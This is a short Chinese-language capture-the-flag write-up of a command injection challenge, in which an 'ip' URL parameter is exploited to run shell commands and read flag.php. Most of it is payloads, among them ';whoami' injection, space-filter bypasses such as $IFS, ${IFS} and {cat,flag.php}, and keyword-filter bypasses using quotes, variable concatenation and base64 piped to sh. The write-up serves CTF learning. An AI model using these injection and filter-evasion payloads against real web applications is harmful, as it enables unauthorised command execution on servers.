题目分析
1.访问网站
2.提示输入/?ip,这样,我们输入url
/?ip=127.0.0.1
发现返回结果正确,所以,这应该是一个远程命令执行漏洞
3.测试输入
/?ip=1;whoami
返回结果正确,说明确实是远程命令执行漏洞,而且对方主机是linux
4.查找flag
/?ip=1;ls / #发现没有结果
/?ip=1;cat ls
发现flag.php
5.查看flag.php
/?ip=1;cat flag.php #检查页面源代码,没有显示结果(必须通过检车页面源代码,因为php代码有些东西会被前端自动渲染而不显示)
#由此,第一个猜测是过滤了空格
#空格绕过方法
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
$IFS$9 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
发现只有输入cat$IFSflag.php时,提示
说明
$IFS可绕过空格
接下来,因为上面提示我们 fxck your flag,所以猜是过滤了关键字flag,所以我们绕过flag
关键字绕过方法总结
#以flag为例
单引号绕过 fla'g'
双引号绕过 fla"g"
反斜线绕过 f\lag
变量拼接绕过 a=g;cat$IFS$1fla$a.php
$+任意数字绕过 fl$1ag
Base64绕过 cat flag.php 的base64编码为Y2F0IGZsYWcucGhw
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
内联绕过 就是将反引号内命令的输出作为输入执行
cat `ls`
经过测试,使用变量拼接可以绕过
/?ip=1;a=g;cat$3$IFS$1fla$a.php